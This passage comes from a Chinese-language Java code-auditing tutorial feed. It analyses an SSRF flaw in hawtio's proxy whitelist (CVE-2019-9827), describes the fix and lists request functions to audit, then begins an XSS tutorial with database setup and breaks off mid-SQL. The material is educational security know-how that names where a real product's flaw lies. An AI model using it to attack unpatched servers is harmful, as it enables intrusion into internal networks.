16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">通过<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">parseProxyAddress</code>函数获取 URL 地址,然后判断其是否为空,如果不为空,通过<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">whitelist.isAllowed()</code>判断该 URL 是否在白名单里，跟进 <code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">whitelist</code>：</p><pre style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;margin-bottom: 1.2em;overflow: auto;color: rgb(33, 37, 41);border-width: 1px;border-style: solid;border-color: rgb(221, 221, 221);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: inherit;color: rgb(209, 217, 225);word-break: normal;padding: 0.5em;display: block;overflow-x: auto;background: rgb(71, 73, 73);"><span style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(204, 153, 204);">public</span> <span style="box-sizing: border-box;color: rgb(181, 189, 104);">ProxyWhitelist</span><span style="box-sizing: border-box;">(String whitelistStr, <span style="box-sizing: border-box;color: rgb(204, 153, 204);">boolean</span> probeLocal)</span> </span>{<br/>        <span style="box-sizing: border-box;color: rgb(204, 153, 204);">if</span> (Strings.isBlank(whitelistStr)) {<br/>            whitelist = <span style="box-sizing: border-box;color: rgb(204, 153, 204);">new</span> CopyOnWriteArraySet&lt;&gt;();<br/>            regexWhitelist = Collections.emptyList();<br/>        } <span style="box-sizing: border-box;color: rgb(204, 153, 204);">else</span> {<br/>            whitelist = <span style="box-sizing: border-box;color: rgb(204, 153, 204);">new</span> CopyOnWriteArraySet&lt;&gt;(filterRegex(Strings.split(whitelistStr, <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;,&#34;</span>)));<br/>            regexWhitelist = buildRegexWhitelist(Strings.split(whitelistStr, <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;,&#34;</span>));<br/>        }<br/>        <span style="box-sizing: border-box;color: rgb(204, 153, 204);">if</span> (probeLocal) {<br/>            LOG.info(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;Probing local addresses ...&#34;</span>);<br/>            initialiseWhitelist();<br/>        } <span style="box-sizing: border-box;color: rgb(204, 153, 204);">else</span> {<br/>            LOG.info(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;Probing local addresses disabled&#34;</span>);<br/>            whitelist.add(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;localhost&#34;</span>);<br/>            whitelist.add(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;127.0.0.1&#34;</span>);<br/>        }<br/>        LOG.info(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;Initial proxy whitelist: {}&#34;</span>, whitelist);<br/>        mBeanServer = ManagementFactory.getPlatformMBeanServer();<br/>        <span style="box-sizing: border-box;color: rgb(204, 153, 204);">try</span> {<br/>            fabricMBean = <span style="box-sizing: border-box;color: rgb(204, 153, 204);">new</span> ObjectName(FABRIC_MBEAN);<br/>        } <span style="box-sizing: border-box;color: rgb(204, 153, 204);">catch</span> (MalformedObjectNameException e) {<br/>            <span style="box-sizing: border-box;color: rgb(204, 153, 204);">throw</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">new</span> RuntimeException(e);<br/>        }<br/>    }<br/>...<br/>  <br/>   <span style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(204, 153, 204);">public</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">boolean</span> <span style="box-sizing: border-box;color: rgb(181, 189, 104);">isAllowed</span><span style="box-sizing: border-box;">(ProxyDetails details)</span> </span>{<br/>        <span style="box-sizing: border-box;color: rgb(204, 153, 204);">if</span> (details.isAllowed(whitelist)) {<br/>            <span style="box-sizing: border-box;color: rgb(204, 153, 204);">return</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">true</span>;<br/>        }<br/>        <span style="box-sizing: border-box;color: rgb(150, 152, 150);font-style: italic;">// Update whitelist and check again</span><br/>        LOG.debug(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;Updating proxy whitelist: {}, {}&#34;</span>, whitelist, details);<br/>        <span style="box-sizing: border-box;color: rgb(204, 153, 204);">if</span> (update() &amp;&amp; details.isAllowed(whitelist)) {<br/>            <span style="box-sizing: border-box;color: rgb(204, 153, 204);">return</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">true</span>;<br/>        }<br/>        <span style="box-sizing: border-box;color: rgb(150, 152, 150);font-style: italic;">// test against the regex as last resort</span><br/>        <span style="box-sizing: border-box;color: rgb(204, 153, 204);">if</span> (details.isAllowed(regexWhitelist)) {<br/>            <span style="box-sizing: border-box;color: rgb(204, 153, 204);">return</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">true</span>;<br/>        } <span style="box-sizing: border-box;color: rgb(204, 153, 204);">else</span> {<br/>            <span style="box-sizing: border-box;color: rgb(204, 153, 204);">return</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">false</span>;<br/>        }<br/>    }<br/> <span style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(204, 153, 204);">public</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">boolean</span> <span style="box-sizing: border-box;color: rgb(181, 189, 104);">update</span><span style="box-sizing: border-box;">()</span> </span>{<br/>        <span style="box-sizing: border-box;color: rgb(204, 153, 204);">if</span> (!mBeanServer.isRegistered(fabricMBean)) {<br/>            LOG.debug(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;Whitelist MBean not available&#34;</span>);<br/>            <span style="box-sizing: border-box;color: rgb(204, 153, 204);">return</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">false</span>;<br/>        }<br/>        Set&lt;String&gt; newWhitelist = invokeMBean();<br/>        <span style="box-sizing: border-box;color: rgb(204, 153, 204);">int</span> previousSize = whitelist.size();<br/>        whitelist.addAll(newWhitelist);<br/>        <span style="box-sizing: border-box;color: rgb(204, 153, 204);">if</span> (whitelist.size() == previousSize) {<br/>            LOG.debug(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;No new proxy whitelist to update&#34;</span>);<br/>            <span style="box-sizing: border-box;color: rgb(204, 153, 204);">return</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">false</span>;<br/>        } <span style="box-sizing: border-box;color: rgb(204, 153, 204);">else</span> {<br/>            LOG.info(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;Updated proxy whitelist: {}&#34;</span>, whitelist);<br/>            <span style="box-sizing: border-box;color: rgb(204, 153, 204);">return</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">true</span>;<br/>        }<br/>    }<br/></code></pre><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">判断 URL 是否为 localhost、127.0.0.1或者用户自己更新的白名单列表，如果不是返回 false。</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">返回到 <code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">service()</code>，向下走：</p><pre style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;margin-bottom: 1.2em;overflow: auto;color: rgb(33, 37, 41);border-width: 1px;border-style: solid;border-color: rgb(221, 221, 221);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: inherit;color: rgb(209, 217, 225);word-break: normal;padding: 0.5em;display: block;overflow-x: auto;background: rgb(71, 73, 73);">  <span style="box-sizing: border-box;color: rgb(204, 153, 204);">if</span> (servletRequest.getHeader(HttpHeaders.CONTENT_LENGTH) != <span style="box-sizing: border-box;color: rgb(204, 153, 204);">null</span> ||<br/>            servletRequest.getHeader(HttpHeaders.TRANSFER_ENCODING) != <span style="box-sizing: border-box;color: rgb(204, 153, 204);">null</span>) {<br/>            HttpEntityEnclosingRequest eProxyRequest = <span style="box-sizing: border-box;color: rgb(204, 153, 204);">new</span> BasicHttpEntityEnclosingRequest(method, proxyRequestUri);<br/>            <span style="box-sizing: border-box;color: rgb(150, 152, 150);font-style: italic;">// Add the input entity (streamed)</span><br/>            <span style="box-sizing: border-box;color: rgb(150, 152, 150);font-style: italic;">//  note: we don&#39;t bother ensuring we close the servletInputStream since the container handles it</span><br/>            eProxyRequest.setEntity(<span style="box-sizing: border-box;color: rgb(204, 153, 204);">new</span> InputStreamEntity(servletRequest.getInputStream(), servletRequest.getContentLength()));<br/>            proxyRequest = eProxyRequest;<br/>        } <span style="box-sizing: border-box;color: rgb(204, 153, 204);">else</span> {<br/>            proxyRequest = <span style="box-sizing: border-box;color: rgb(204, 153, 204);">new</span> BasicHttpRequest(method, proxyRequestUri);<br/>        }<br/>        copyRequestHeaders(servletRequest, proxyRequest, targetUriObj);<br/></code></pre><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">BasicHttpEntityEnclosingRequest()</code>拥有<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">RequestLine</code>、<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">HttpEntity</code>以及<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">Header</code>，这里用的是 entity，HttpEntity即为消息体，包含了三种类型：数据流方式、自我包含方式以及封装模式（包含上述两种方式），这里就是一个基于HttpEntity的， HttpRequest接口实现，类似于上文中的urlConnection。</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">所以这个 <code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">service()</code>的主要作用就是获取请求，然后<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">HttpService</code>把<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">HttpClient</code>传来的请求通过向下转型成<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">BasicHttpEntityEnclosingRequest </code>，再调用<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">HttpEntity</code>，最终得到请求流内容。</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">这里虽然对传入的 URL 进行了限制，但是没有对端口、协议进行相应的限制，从而导致了 SSRF 漏洞。</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">证明如下：</p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.5892981236970118" data-s="300,640" style="" data-type="png" data-w="2878" src="https://wechat2rss.xlab.app/img-proxy/?k=e54de01c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmpkFJ4el7e3r03jkuuJJeB1ibp3o50mibF1WooZyHniaVlFE6LaTAECL5ACzbAcYCNwOHzkTRdPwfNqA%2F640%3Fwx_fmt%3Dpng"/></p><p><span name="menu_index_12" style="box-sizing: border-box;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;background-color: rgb(255, 255, 255);"></span><br/></p><h3 style="box-sizing: border-box;margin-top: 1.2em;margin-bottom: 0.6em;font-family: &#34;PingFang SC&#34;, Verdana, &#34;Helvetica Neue&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-weight: bold;line-height: 1.35;color: rgb(0, 0, 0);font-size: 15px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">4、修复方案</h3><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">通过比对最新版的源码，发现该漏洞的修复方式为加了页面访问权限，如下图：</p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.49167482859941236" data-s="300,640" style="" data-type="png" data-w="2042" src="https://wechat2rss.xlab.app/img-proxy/?k=5aeb6a54&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmpkFJ4el7e3r03jkuuJJeB1tOfvNulMNRog5aLEk2O7QQmtnXibahp8ImkwowIjw41ZUCueTDfCf3A%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">未经验证的用户禁止访问该页面，测试如下：</p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.49463135289906945" data-s="300,640" style="" data-type="png" data-w="2794" src="https://wechat2rss.xlab.app/img-proxy/?k=31b90c98&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmpkFJ4el7e3r03jkuuJJeB1Kawiad1gmorP2dd0WZe4HLiajb8gPib8D1VMlCicLx3gjQG3UjJ1MWRZWg%2F640%3Fwx_fmt%3Dpng"/></p><p><span name="menu_index_13" style="box-sizing: border-box;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;background-color: rgb(255, 255, 255);"></span></p><h2 style="box-sizing: border-box;margin-top: 1.2em;margin-bottom: 0.6em;font-family: &#34;PingFang SC&#34;, Verdana, &#34;Helvetica Neue&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-weight: bold;line-height: 1.35;color: rgb(0, 0, 0);font-size: 22px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">0x05 总结</h2><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">本文主要讨论了 Java 中的 SSRF 漏洞，包括其原理、简单的 Java 代码示例、修复方案以及 CVE 实例，希望对初入Java代码审计的朋友有所帮助。另外对于 SSRF 的审计可以从 http 请求函数入手，这里提供一些审计函数，如下：</p><ul style="margin-bottom: 1.2em;margin-left: 1.3em;list-style-position: initial;list-style-image: initial;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);" class="list-paddingleft-2"><li style="box-sizing: border-box;"><p>HttpClient.execute</p></li><li style="box-sizing: border-box;"><p>HttpClient.executeMethod</p></li><li style="box-sizing: border-box;"><p>HttpURLConnection.connect</p></li><li style="box-sizing: border-box;"><p>HttpURLConnection.getInputStream</p></li><li style="box-sizing: border-box;"><p>URL.openStream</p></li><li style="box-sizing: border-box;"><p>HttpServletRequest</p></li><li style="box-sizing: border-box;"><p>getParameter</p></li><li style="box-sizing: border-box;"><p>URL</p></li><li style="box-sizing: border-box;"><p>HttpClient</p></li><li style="box-sizing: border-box;"><p>Request (对HttpClient封装后的类)</p></li><li style="box-sizing: border-box;"><p>HttpURLConnection</p></li><li style="box-sizing: border-box;"><p>URLConnection</p></li><li style="box-sizing: border-box;"><p>okhttp</p></li><li style="box-sizing: border-box;"><p>BasicHttpEntityEnclosingRequest</p></li><li style="box-sizing: border-box;"><p>DefaultBHttpClientConnection</p></li><li style="box-sizing: border-box;"><p>BasicHttpRequest</p></li><li style="box-sizing: border-box;"><p>URI</p></li></ul><p><span name="menu_index_14" style="box-sizing: border-box;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;background-color: rgb(255, 255, 255);"></span></p><h2 style="box-sizing: border-box;margin-top: 1.2em;margin-bottom: 0.6em;font-family: &#34;PingFang SC&#34;, Verdana, &#34;Helvetica Neue&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-weight: bold;line-height: 1.35;color: rgb(0, 0, 0);font-size: 22px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">0x06 参考</h2><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><a href="https://github.com/frohoff/jdk8u-jdk/tree/master/src/share/classes/sun/net/www/protocol" target="_blank">https://github.com/frohoff/jdk8u-jdk/tree/master/src/share/classes/sun/net/www/protocol</a><br style="box-sizing: border-box;"/><a href="https://github.com/ring04h/papers/blob/master/build_your_ssrf_exp_autowork--20160711.pdf" target="_blank">https://github.com/ring04h/papers/blob/master/build_your_ssrf_exp_autowork--20160711.pdf</a><br style="box-sizing: border-box;"/><a href="https://www.cnblogs.com/RunForLove/p/5531905.html" target="_blank">https://www.cnblogs.com/RunForLove/p/5531905.html</a><br style="box-sizing: border-box;"/><a href="https://github.com/JoyChou93/java-sec-code/" target="_blank">https://github.com/JoyChou93/java-sec-code/</a><br style="box-sizing: border-box;"/><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9827" target="_blank">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9827</a><br style="box-sizing: border-box;"/><a href="https://github.com/hawtio/hawtio/tree/hawtio-2.5.0/" target="_blank">https://github.com/hawtio/hawtio/tree/hawtio-2.5.0/</a><br style="box-sizing: border-box;"/><a href="https://blog.csdn.net/undergrowth/article/details/77203668" target="_blank">https://blog.csdn.net/undergrowth/article/details/77203668</a><br style="box-sizing: border-box;"/><a href="https://github.com/hawtio/hawtio/compare/hawtio-2.5.0...hawtio-2.9.1" target="_blank">https://github.com/hawtio/hawtio/compare/hawtio-2.5.0...hawtio-2.9.1</a></p><p><br/></p>



<p><a href="https://www.cnpanda.net/codeaudit/678.html">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=4cac6be8&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4MzYxODA4Mw%3D%3D%26mid%3D2247483797%26idx%3D1%26sn%3D48239d8ecfac42bb777602a95ddc1dfe%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sat, 08 May 2021 00:00:00 +0800</pubDate>
    </item>
    <item>
      <title>【Java 代码审计入门-03】XSS 漏洞原理与实际案例介绍</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4MzYxODA4Mw==&amp;mid=2247483759&amp;idx=1&amp;sn=534c9ee15a7a5432c67f3305d7d120ea</link>
      <description>【Java 代码审计入门-03】XSS 漏洞原理与实际案例介绍</description>
      <content:encoded><![CDATA[<p>
原创 <span>p4nda</span> <span>2021-05-07 00:00</span> <span style="display: inline-block;"></span>
</p>

<p>【Java 代码审计入门-03】XSS 漏洞原理与实际案例介绍</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=1534f931&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fcibr2n69ehmpkFJ4el7e3r03jkuuJJeB18Gfr1smBwBSl2v4kuWkcyd7iblLFf0dfJMyyaBQ2zAVXyM8Z3D5nblA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h2 style="box-sizing: border-box;margin-top: 1.2em;margin-bottom: 0.6em;font-family: &#34;PingFang SC&#34;, Verdana, &#34;Helvetica Neue&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-weight: bold;line-height: 1.35;color: rgb(0, 0, 0);font-size: 22px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">0x00 写在前面</h2><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">为什么会有这一些列的文章呢？因为我发现网上没有成系列的文章或者教程，基本上是 Java 代码审计中某个点来阐述的，对于新人来说可能不是那么友好，加上本人也在学习 Java 审计，想做个学习历程的记录和总结，因此有了本系列的文章。</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">本系列的文章面向人群主要是<strong style="box-sizing: border-box;color: rgb(0, 0, 0);">拥有 Java 基本语法基础的朋友</strong>，系列文章的内容主要包括，审计环境介绍、SQL 漏洞原理与实际案例介绍、XSS 漏洞原理与实际案例介绍、SSRF 漏洞原理与实际案例介绍、RCE 漏洞原理与实际案例介绍、包含漏洞原理与实际案例介绍、序列化漏洞原理与实际案例介绍、S2系列经典漏洞分析、WebLogic 系列经典漏洞分析、fastjson系列经典漏洞分析、jackson系列经典漏洞分析等，可能内容顺序会略有调整，但是总体内容不会改变，最后希望这系列的文章能够给你带来一点收获。</p><h2 style="box-sizing: border-box;margin-top: 1.2em;margin-bottom: 0.6em;font-family: &#34;PingFang SC&#34;, Verdana, &#34;Helvetica Neue&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-weight: bold;line-height: 1.35;color: rgb(0, 0, 0);font-size: 22px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">0x01 前戏</h2><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">首先创建一个数据库<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">sec_xss</code></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">create database sec_xss charset utf8;</code></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">然后创建表<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">message</code>和插入数据：</p><pre style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;margin-bottom: 1.2em;overflow: auto;color: rgb(33, 37, 41);border-width: 1px;border-style: solid;border-color: rgb(221, 221, 221);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: inherit;color: rgb(209, 217, 225);word-break: normal;padding: 0.5em;display: block;overflow-x: auto;background: rgb(71, 73, 73);"><span style="box-sizing: border-box;color: rgb(204, 153, 204);">SET</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">NAMES</span> utf8mb4;<br/><span style="box-sizing: border-box;color: rgb(204, 153, 204);">SET</span> FOREIGN_KEY_CHECKS = <span style="box-sizing: border-box;color: rgb(249, 145, 87);">0</span>;<br/><span style="box-sizing: border-box;color: rgb(150, 152, 150);font-style: italic;">-- ----------------------------</span><br/><span style="box-sizing: border-box;color: rgb(150, 152, 150);font-style: italic;">-- Table structure for message</span><br/><span style="box-sizing: border-box;color: rgb(150, 152, 150);font-style: italic;">-- ----------------------------</span><br/><span style="box-sizing: border-box;color: rgb(204, 153, 204);">DROP</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">TABLE</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">IF</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">EXISTS</span> <span style="box-sizing: border-box;color: rgb(138, 190, 183);">`message`</span>;<br/><span style="box-sizing: border-box;color: rgb(204, 153, 204);">CREATE</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">TABLE</span> <span style="box-sizing: border-box;color: rgb(138, 